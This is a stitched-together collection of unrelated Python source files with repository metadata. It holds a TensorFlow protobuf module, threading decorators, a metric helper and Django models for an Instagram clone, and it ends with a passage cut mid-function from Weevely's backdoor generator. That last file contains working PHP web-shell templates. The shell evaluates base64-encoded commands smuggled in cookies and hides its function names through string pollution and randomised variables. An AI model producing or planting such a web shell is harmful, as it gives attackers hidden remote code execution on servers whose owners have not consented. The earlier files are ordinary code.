
0.062385

0

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0.311371

941

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19.204082

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0.208289

0

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0

1

0.318182

false

0.227273

0.090909

0

0.5

0

null

0

null

0

1

0

1

0

2

40f82a11d157a4c060d3cd0a073c10873cb2a999

21,936

py

Python

src/utils/TensorflowModel_pb2.py

nicolas-ivanov/MimicAndRephrase

446674e1e6af133618e0e9888c3650c0ce9012e4

[ "MIT" ]

12

2019-06-17T19:41:35.000Z

2022-02-17T19:51:45.000Z

src/utils/TensorflowModel_pb2.py

nicolas-ivanov/MimicAndRephrase

446674e1e6af133618e0e9888c3650c0ce9012e4

[ "MIT" ]

1

2021-02-23T15:28:32.000Z

src/utils/TensorflowModel_pb2.py

isabella232/MimicAndRephrase

bd29a995b211cb4f7933fa990b0bba1564c22450

[ "MIT" ]

3

2020-09-07T16:44:11.000Z

2020-11-14T19:00:05.000Z

# Generated by the protocol buffer compiler. DO NOT EDIT! # source: TensorflowModel.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf.internal import enum_type_wrapper from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='TensorflowModel.proto', package='ai.eloquent', syntax='proto3', serialized_pb=_b('\n\x15TensorflowModel.proto\x12\x0b\x61i.eloquent\"\x8f\x01\n\x0fTensorflowModel\x12\x18\n\x10serialized_graph\x18\x01 \x01(\x0c\x12.\n\x0ctoken_mapper\x18\x02 \x01(\x0b\x32\x18.ai.eloquent.TokenMapper\x12\x16\n\x0etrain_set_size\x18\x04 \x01(\x03\x12\x1a\n\x12train_set_positive\x18\x05 \x01(\x03\"\x80\x01\n\x0cTokenMapping\x12+\n\x04type\x18\x01 \x01(\x0e\x32\x1d.ai.eloquent.TokenMappingType\x12\r\n\x05regex\x18\x02 \x01(\t\x12\x10\n\x08num_hash\x18\x03 \x01(\x05\x12\x12\n\ndebug_base\x18\x04 \x01(\t\x12\x0e\n\x06tokens\x18\x05 \x03(\t\"\x9d\x01\n\x0bTokenMapper\x12\x30\n\rtoken_mapping\x18\x01 \x03(\x0b\x32\x19.ai.eloquent.TokenMapping\x12.\n\x0bunk_mapping\x18\x02 \x03(\x0b\x32\x19.ai.eloquent.TokenMapping\x12,\n\x07vectors\x18\x03 \x03(\x0b\x32\x1b.ai.eloquent.TunedEmbedding\"\x1f\n\x0eTunedEmbedding\x12\r\n\x05value\x18\x01 \x03(\x02\"\xf0\x03\n\x1aTensorflowModelPerformance\x12\x0f\n\x07\x64\x65v_set\x18\x01 \x03(\t\x12\x0f\n\x07version\x18\x02 \x01(\x03\x12\x17\n\x0f\x64\x65v_set_version\x18\x03 \x01(\x03\x12\x16\n\x0etrain_set_size\x18\x04 \x01(\x03\x12\x1d\n\x15train_set_total_votes\x18\x05 \x01(\x03\x12\x14\n\x0c\x64\x65v_set_size\x18\x06 \x01(\x03\x12\x1b\n\x13\x64\x65v_set_total_votes\x18\x07 \x01(\x03\x12\x12\n\nbest_epoch\x18\x08 \x01(\x05\x12\x0f\n\x07\x64ropout\x18\t \x01(\x02\x12\x13\n\x0brandom_seed\x18\n \x01(\x05\x12\x12\n\nhidden_dim\x18\x0b \x01(\x05\x12\x15\n\rtrue_positive\x18\x0c \x01(\x03\x12\x16\n\x0e\x66\x61lse_positive\x18\r \x01(\x03\x12\x16\n\x0e\x66\x61lse_negative\x18\x0e \x01(\x03\x12\x15\n\rtrue_negative\x18\x0f \x01(\x03\x12\x11\n\tprecision\x18\x10 \x01(\x02\x12\x0e\n\x06recall\x18\x11 \x01(\x02\x12\n\n\x02\x66\x31\x18\x12 \x01(\x02\x12\x10\n\x08\x61\x63\x63uracy\x18\x13 \x01(\x02\x12@\n\x08\x65xamples\x18\x14 \x03(\x0b\x32..ai.eloquent.TensorflowModelPerformanceExample\"S\n!TensorflowModelPerformanceExample\x12\r\n\x05input\x18\x01 \x03(\t\x12\x0f\n\x07guesses\x18\x02 \x03(\x02\x12\x0e\n\x06labels\x18\x03 \x03(\x05*2\n\x10TokenMappingType\x12\t\n\x05REGEX\x10\x00\x12\x08\n\x04HASH\x10\x01\x12\t\n\x05TOKEN\x10\x02\x42)\n\x10\x61i.eloquent.dataB\x15TensorflowModelProtosb\x06proto3') ) _TOKENMAPPINGTYPE = _descriptor.EnumDescriptor( name='TokenMappingType', full_name='ai.eloquent.TokenMappingType', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='REGEX', index=0, number=0, options=None, type=None), _descriptor.EnumValueDescriptor( name='HASH', index=1, number=1, options=None, type=None), _descriptor.EnumValueDescriptor( name='TOKEN', index=2, number=2, options=None, type=None), ], containing_type=None, options=None, serialized_start=1092, serialized_end=1142, ) _sym_db.RegisterEnumDescriptor(_TOKENMAPPINGTYPE) TokenMappingType = enum_type_wrapper.EnumTypeWrapper(_TOKENMAPPINGTYPE) REGEX = 0 HASH = 1 TOKEN = 2 _TENSORFLOWMODEL = _descriptor.Descriptor( name='TensorflowModel', full_name='ai.eloquent.TensorflowModel', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='serialized_graph', full_name='ai.eloquent.TensorflowModel.serialized_graph', index=0, number=1, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='token_mapper', full_name='ai.eloquent.TensorflowModel.token_mapper', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='train_set_size', full_name='ai.eloquent.TensorflowModel.train_set_size', index=2, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='train_set_positive', full_name='ai.eloquent.TensorflowModel.train_set_positive', index=3, number=5, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=39, serialized_end=182, ) _TOKENMAPPING = _descriptor.Descriptor( name='TokenMapping', full_name='ai.eloquent.TokenMapping', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='type', full_name='ai.eloquent.TokenMapping.type', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='regex', full_name='ai.eloquent.TokenMapping.regex', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='num_hash', full_name='ai.eloquent.TokenMapping.num_hash', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='debug_base', full_name='ai.eloquent.TokenMapping.debug_base', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='tokens', full_name='ai.eloquent.TokenMapping.tokens', index=4, number=5, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=185, serialized_end=313, ) _TOKENMAPPER = _descriptor.Descriptor( name='TokenMapper', full_name='ai.eloquent.TokenMapper', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='token_mapping', full_name='ai.eloquent.TokenMapper.token_mapping', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='unk_mapping', full_name='ai.eloquent.TokenMapper.unk_mapping', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='vectors', full_name='ai.eloquent.TokenMapper.vectors', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=316, serialized_end=473, ) _TUNEDEMBEDDING = _descriptor.Descriptor( name='TunedEmbedding', full_name='ai.eloquent.TunedEmbedding', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='value', full_name='ai.eloquent.TunedEmbedding.value', index=0, number=1, type=2, cpp_type=6, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=475, serialized_end=506, ) _TENSORFLOWMODELPERFORMANCE = _descriptor.Descriptor( name='TensorflowModelPerformance', full_name='ai.eloquent.TensorflowModelPerformance', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='dev_set', full_name='ai.eloquent.TensorflowModelPerformance.dev_set', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='version', full_name='ai.eloquent.TensorflowModelPerformance.version', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='dev_set_version', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_version', index=2, number=3, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='train_set_size', full_name='ai.eloquent.TensorflowModelPerformance.train_set_size', index=3, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='train_set_total_votes', full_name='ai.eloquent.TensorflowModelPerformance.train_set_total_votes', index=4, number=5, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='dev_set_size', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_size', index=5, number=6, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='dev_set_total_votes', full_name='ai.eloquent.TensorflowModelPerformance.dev_set_total_votes', index=6, number=7, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='best_epoch', full_name='ai.eloquent.TensorflowModelPerformance.best_epoch', index=7, number=8, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='dropout', full_name='ai.eloquent.TensorflowModelPerformance.dropout', index=8, number=9, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='random_seed', full_name='ai.eloquent.TensorflowModelPerformance.random_seed', index=9, number=10, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='hidden_dim', full_name='ai.eloquent.TensorflowModelPerformance.hidden_dim', index=10, number=11, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='true_positive', full_name='ai.eloquent.TensorflowModelPerformance.true_positive', index=11, number=12, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='false_positive', full_name='ai.eloquent.TensorflowModelPerformance.false_positive', index=12, number=13, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='false_negative', full_name='ai.eloquent.TensorflowModelPerformance.false_negative', index=13, number=14, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='true_negative', full_name='ai.eloquent.TensorflowModelPerformance.true_negative', index=14, number=15, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='precision', full_name='ai.eloquent.TensorflowModelPerformance.precision', index=15, number=16, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='recall', full_name='ai.eloquent.TensorflowModelPerformance.recall', index=16, number=17, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='f1', full_name='ai.eloquent.TensorflowModelPerformance.f1', index=17, number=18, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='accuracy', full_name='ai.eloquent.TensorflowModelPerformance.accuracy', index=18, number=19, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='examples', full_name='ai.eloquent.TensorflowModelPerformance.examples', index=19, number=20, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=509, serialized_end=1005, ) _TENSORFLOWMODELPERFORMANCEEXAMPLE = _descriptor.Descriptor( name='TensorflowModelPerformanceExample', full_name='ai.eloquent.TensorflowModelPerformanceExample', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='input', full_name='ai.eloquent.TensorflowModelPerformanceExample.input', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='guesses', full_name='ai.eloquent.TensorflowModelPerformanceExample.guesses', index=1, number=2, type=2, cpp_type=6, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='labels', full_name='ai.eloquent.TensorflowModelPerformanceExample.labels', index=2, number=3, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1007, serialized_end=1090, ) _TENSORFLOWMODEL.fields_by_name['token_mapper'].message_type = _TOKENMAPPER _TOKENMAPPING.fields_by_name['type'].enum_type = _TOKENMAPPINGTYPE _TOKENMAPPER.fields_by_name['token_mapping'].message_type = _TOKENMAPPING _TOKENMAPPER.fields_by_name['unk_mapping'].message_type = _TOKENMAPPING _TOKENMAPPER.fields_by_name['vectors'].message_type = _TUNEDEMBEDDING _TENSORFLOWMODELPERFORMANCE.fields_by_name['examples'].message_type = _TENSORFLOWMODELPERFORMANCEEXAMPLE DESCRIPTOR.message_types_by_name['TensorflowModel'] = _TENSORFLOWMODEL DESCRIPTOR.message_types_by_name['TokenMapping'] = _TOKENMAPPING DESCRIPTOR.message_types_by_name['TokenMapper'] = _TOKENMAPPER DESCRIPTOR.message_types_by_name['TunedEmbedding'] = _TUNEDEMBEDDING DESCRIPTOR.message_types_by_name['TensorflowModelPerformance'] = _TENSORFLOWMODELPERFORMANCE DESCRIPTOR.message_types_by_name['TensorflowModelPerformanceExample'] = _TENSORFLOWMODELPERFORMANCEEXAMPLE DESCRIPTOR.enum_types_by_name['TokenMappingType'] = _TOKENMAPPINGTYPE _sym_db.RegisterFileDescriptor(DESCRIPTOR) TensorflowModel = _reflection.GeneratedProtocolMessageType('TensorflowModel', (_message.Message,), dict( DESCRIPTOR = _TENSORFLOWMODEL, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModel) )) _sym_db.RegisterMessage(TensorflowModel) TokenMapping = _reflection.GeneratedProtocolMessageType('TokenMapping', (_message.Message,), dict( DESCRIPTOR = _TOKENMAPPING, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TokenMapping) )) _sym_db.RegisterMessage(TokenMapping) TokenMapper = _reflection.GeneratedProtocolMessageType('TokenMapper', (_message.Message,), dict( DESCRIPTOR = _TOKENMAPPER, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TokenMapper) )) _sym_db.RegisterMessage(TokenMapper) TunedEmbedding = _reflection.GeneratedProtocolMessageType('TunedEmbedding', (_message.Message,), dict( DESCRIPTOR = _TUNEDEMBEDDING, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TunedEmbedding) )) _sym_db.RegisterMessage(TunedEmbedding) TensorflowModelPerformance = _reflection.GeneratedProtocolMessageType('TensorflowModelPerformance', (_message.Message,), dict( DESCRIPTOR = _TENSORFLOWMODELPERFORMANCE, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModelPerformance) )) _sym_db.RegisterMessage(TensorflowModelPerformance) TensorflowModelPerformanceExample = _reflection.GeneratedProtocolMessageType('TensorflowModelPerformanceExample', (_message.Message,), dict( DESCRIPTOR = _TENSORFLOWMODELPERFORMANCEEXAMPLE, __module__ = 'TensorflowModel_pb2' # @@protoc_insertion_point(class_scope:ai.eloquent.TensorflowModelPerformanceExample) )) _sym_db.RegisterMessage(TensorflowModelPerformanceExample) DESCRIPTOR.has_options = True DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n\020ai.eloquent.dataB\025TensorflowModelProtos')) # @@protoc_insertion_point(module_scope)

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1

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1

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null

0

2

40feb012148cebe6483dabf37d02607456645a00

2,210

py

Python

utils/decorator/dasyncio.py

masonsxu/red-flask

e8b978ee08072efcb2b3b7964065f272d8c875ab

[ "MIT" ]

null

utils/decorator/dasyncio.py

masonsxu/red-flask

e8b978ee08072efcb2b3b7964065f272d8c875ab

[ "MIT" ]

null

utils/decorator/dasyncio.py

masonsxu/red-flask

e8b978ee08072efcb2b3b7964065f272d8c875ab

[ "MIT" ]

null

# -*- coding: utf-8 -*- # 基于python Threading模块封装的异步函数装饰器 import time from functools import wraps from threading import Thread def async_call(fn): """一次简单的异步处理操作，装饰在要异步执行的函数前，再调用该函数即可执行单次异步操作(开辟一条新的线程) Args: :fn(function):需要异步处理的方法 Return: :wrapper(function): """ @wraps(fn) # 解决被装饰的函数的名字会变成装饰器函数，并还原函数名称 def wrapper(*args, **kwargs): Thread(target=fn, args=args, kwargs=kwargs).start() return wrapper def async_pool(pool_links): """可定义链接数的线程池装饰器，可用于并发执行多次任务 Args: :pool_links(int):进程的数量 Returns: :sub_wrapper(function):对象装饰器 """ def sub_wrapper(func): @wraps(func) def wrapper(*args, **kwargs): for _ in range(0, pool_links): Thread(target=func, args=args, kwargs=kwargs).start() # func(*args, **kwargs) return wrapper return sub_wrapper def async_retry(retry_times, space_time): """自动重试类装饰器，不支持单独异步，但可嵌套于 call 和 pool中使用 Args: :retry_times(int):重试次数 """ def sub_wrapper(func): @wraps(func) def wrapper(*args, **kwargs): try_times = retry_times while try_times > 0: try: func(*args, **kwargs) break except Exception as e: print(e) time.sleep(space_time) try_times = try_times - 1 return wrapper return sub_wrapper # 以下为测试案例代码 # @async_call # def sleep2andprint(): # time.sleep(2) # print('22222222') # @async_pool(pool_links=5) # def pools(): # time.sleep(1) # print('hehe') # @async_retry(retry_times=3, space_time=1) # def check(): # a = 1 # b = '2' # print(a + b) # def check_all(): # print('正在测试async_call组件') # print('111111') # sleep2andprint() # print('333333') # print('若3333出现在22222此前，异步成功') # print('正在测试async_pool组件') # pools() # print('在一秒内打印出5个hehe为成功') # print('正在测试async_retry组件') # check() # print('打印三次异常则成功') # print(check.__name__) # print(sleep2andprint.__name__) # print(pools.__name__) # check_all()

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dc03c7056424871c088a27b25411021c5ef255a8

669

py

Python

src/Models/tools/quality.py

rahlk/MOOSE

e45b64cf625bb90aa8c1c24ab1c8f52ab485a316

[ "MIT" ]

null

src/Models/tools/quality.py

rahlk/MOOSE

e45b64cf625bb90aa8c1c24ab1c8f52ab485a316

[ "MIT" ]

9

2015-09-14T21:07:06.000Z

2015-12-08T01:38:08.000Z

src/Models/tools/quality.py

rahlk/MAPGen

25bc1a84f07e30ab0dbb638cd2aa1ce416c510ff

[ "MIT" ]

null

from __future__ import division, print_function from scipy.spatial.distance import euclidean from numpy import mean from pdb import set_trace class measure: def __init__(self,model): self.mdl = model def convergence(self, obtained): """ Calculate the convergence metric with respect to ideal solutions """ gammas=[] ideals = self.mdl.get_pareto() def nearest(a,lst): # dist = euclidean(a, sorted(lst, key=lambda x:euclidean(x,a))[0]) # set_trace() return euclidean(a, sorted(lst, key=lambda x:euclidean(x,a))[0]) gammas = [nearest(self.mdl.solve(member),ideals) for member in obtained] return mean(gammas)

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null

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null

0

1

0

1

0

2

dc077fe63cc4f8d54762c53d45a473600de38902

3,843

py

Python

instagram/models.py

kilonzijnr/instagram-clone

1fa662248d70a64356ef3d48d52c7e38dea95aff

[ "MIT" ]

null

instagram/models.py

kilonzijnr/instagram-clone

1fa662248d70a64356ef3d48d52c7e38dea95aff

[ "MIT" ]

null

instagram/models.py

kilonzijnr/instagram-clone

1fa662248d70a64356ef3d48d52c7e38dea95aff

[ "MIT" ]

null

from django.db import models from django.db.models.deletion import CASCADE from django.contrib.auth.models import User from cloudinary.models import CloudinaryField # Create your models here. class Profile(models.Model): """Model for handling User Profile""" user = models.OneToOneField(User, on_delete= models.CASCADE) username = models.CharField(max_length = 25) signup_date = models.DateTimeField(auto_now_add= True) profile_photo = CloudinaryField('images') followers = models.ManyToManyField(User, related_name='followers', blank= True) bio = models.CharField(max_length= 70) def __str__(self): return self.name def total_followers(self): """Method to return total numberof followers""" return self.followers.count() def save_profile(self): """Method to save profile to the database""" self.save() def delete_profile(self): """Method to delete profile from the database""" self.delete() def update_profile(self,new): """Method to update user profile Args: new([type]): [description] """ self.username = new.username self.bio = new.bio self.profile_photo = new.profile_pic self.save() @classmethod def get_following(cls,user): """Method to return all users a specific user is following """ following = user.followers.all() users = [] for profile in following: user = User.objects.get(profile = profile) users.append(user) return users @classmethod def search_profile(cls,search_term): """Method to return profiles with a provided search term""" profiles = cls.objects.filter(username_icontains = search_term) return profiles class Likes(models.Model): """Model for handling Image likes""" likes = models.IntegerField(default=0) class Image(models.Model): """Model for handling Image posts by users""" user = models.ForeignKey(User,on_delete= models.CASCADE) image = CloudinaryField('images') image_name = models.CharField(max_length= 25) caption = models.CharField(max_length= 100) profile = models.ForeignKey(Profile, on_delete=models.CASCADE, default= None) likes = models.ForeignKey(Likes, on_delete=CASCADE, default=None) comment = models.CharField(max_length= 120) time_posted = models.DateTimeField(auto_now_add= True) def __str__(self): return self.name def save_image(self): """Method to save Image to Database""" self.save() def delete_image(self): """Method to delete Image """ self.delete() def like_image(self,user): """Method to add user as an image liker""" self.likes.add(user) def get_total_likes(self): """Method to get the total number of likess on an Image""" return self.likes.count() def update_caption(self,caption): """Method to updat eimage captions in database""" self.caption = caption self.save() @classmethod def get_images(cls,users): """Method to get a specific image""" posts = [] for user in users: images = Image.objects.filter(user = user) for image in images: posts.append(image) return posts def get_comments(self): """Method to get all comments related to a post""" comments = Comments.objects.filter(image = self) return comments class Comments(models.Model): """Method to define attributes of a comment""" user = models.ForeignKey(User, on_delete=models.CASCADE) image = models.ForeignKey(Image,on_delete=models.CASCADE) comment = models.TextField() def __str__(self): return self.comment

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0.650273

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5.219616

0.236674

0.045752

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0.042892

0.207516

0.116013

0.062909

0.04085

0

0.0045

0.248244

3,843

123

84

31.243902

0.842852

0.192298

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false

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0.662338

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null

0

null

0

1

0

1

0

2

dc19222afbe13a4d5207f36ba7d56c249b5d6019

4,542

py

Python

Dangerous/Weevely/core/backdoor.py

JeyZeta/Dangerous-

824ea6b571eda98bb855f176361e9b35dfda578e

[ "MIT" ]

null

Dangerous/Weevely/core/backdoor.py

JeyZeta/Dangerous-

824ea6b571eda98bb855f176361e9b35dfda578e

[ "MIT" ]

null

Dangerous/Weevely/core/backdoor.py

JeyZeta/Dangerous-

824ea6b571eda98bb855f176361e9b35dfda578e

[ "MIT" ]

1

2018-07-04T18:35:16.000Z

# -*- coding: utf-8 -*- # This file is part of Weevely NG. # # Copyright(c) 2011-2012 Weevely Developers # http://code.google.com/p/weevely/ # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import base64, codecs from random import random, randrange, choice, shuffle from pollution import pollute_with_static_str from core.utils import randstr from core.moduleexception import ModuleException from string import Template, ascii_letters, digits PERMITTED_CHARS = ascii_letters + digits + '_.~' WARN_SHORT_PWD = 'Invalid password, use words longer than 3 characters' WARN_CHARS = 'Invalid password, password permitted chars are \'%s\'' % PERMITTED_CHARS class BdTemplate(Template): delimiter = '%' class Backdoor: payload_template= """ $c='count'; $a=$_COOKIE; if(reset($a)=='%STARTKEY' && $c($a)>3){ $k='%ENDKEY'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } """ backdoor_template = """<?php $%PAY_VAR1="%PAY1"; $%PAY_VAR2="%PAY2"; $%PAY_VAR3="%PAY3"; $%PAY_VAR4="%PAY4"; $%REPL_FUNC = str_replace("%REPL_POLL","","%REPL_ENC"); $%B64_FUNC = $%REPL_FUNC("%B64_POLL", "", "%B64_ENC"); $%CREAT_FUNC = $%REPL_FUNC("%CREAT_POLL","","%CREAT_ENC"); $%FINAL_FUNC = $%CREAT_FUNC('', $%B64_FUNC($%REPL_FUNC("%PAY_POLL", "", $%PAY_VAR1.$%PAY_VAR2.$%PAY_VAR3.$%PAY_VAR4))); $%FINAL_FUNC(); ?>""" def __init__( self, password ): self.__check_pwd(password) self.password = password self.start_key = self.password[:2] self.end_key = self.password[2:] self.payload = BdTemplate(self.payload_template).substitute(STARTKEY = self.start_key, ENDKEY = self.end_key).replace( '\n', '' ) self.backdoor = self.encode_template() def __str__( self ): return self.backdoor def __check_pwd(self, password): if len(password)<4: raise ModuleException('generate','\'%s\' %s' % (password, WARN_SHORT_PWD)) if ''.join(c for c in password if c not in PERMITTED_CHARS): raise ModuleException('generate','\'%s\' %s' % (password, WARN_CHARS)) def encode_template(self): b64_new_func_name = randstr() b64_pollution, b64_polluted = pollute_with_static_str('base64_decode',frequency=0.7) createfunc_name = randstr() createfunc_pollution, createfunc_polluted = pollute_with_static_str('create_function',frequency=0.7) payload_var = [ randstr() for st in range(4) ] payload_pollution, payload_polluted = pollute_with_static_str(base64.b64encode(self.payload)) replace_new_func_name = randstr() repl_pollution, repl_polluted = pollute_with_static_str('str_replace',frequency=0.7) final_func_name = randstr() length = len(payload_polluted) offset = 7 piece1 = length / 4 + randrange(-offset,+offset) piece2 = length / 2 + randrange(-offset,+offset) piece3 = length*3/4 + randrange(-offset,+offset) ts_splitted = self.backdoor_template.splitlines() ts_shuffled = ts_splitted[1:6] shuffle(ts_shuffled) ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:] self.backdoor_template = '\n'.join(ts_splitted) return BdTemplate(self.backdoor_template).substitute( B64_FUNC = b64_new_func_name, B64_ENC = b64_polluted, B64_POLL = b64_pollution, CREAT_FUNC = createfunc_name, CREAT_ENC = createfunc_polluted, CREAT_POLL = createfunc_pollution, REPL_FUNC = replace_new_func_name, REPL_ENC = repl_polluted, REPL_POLL = repl_pollution, 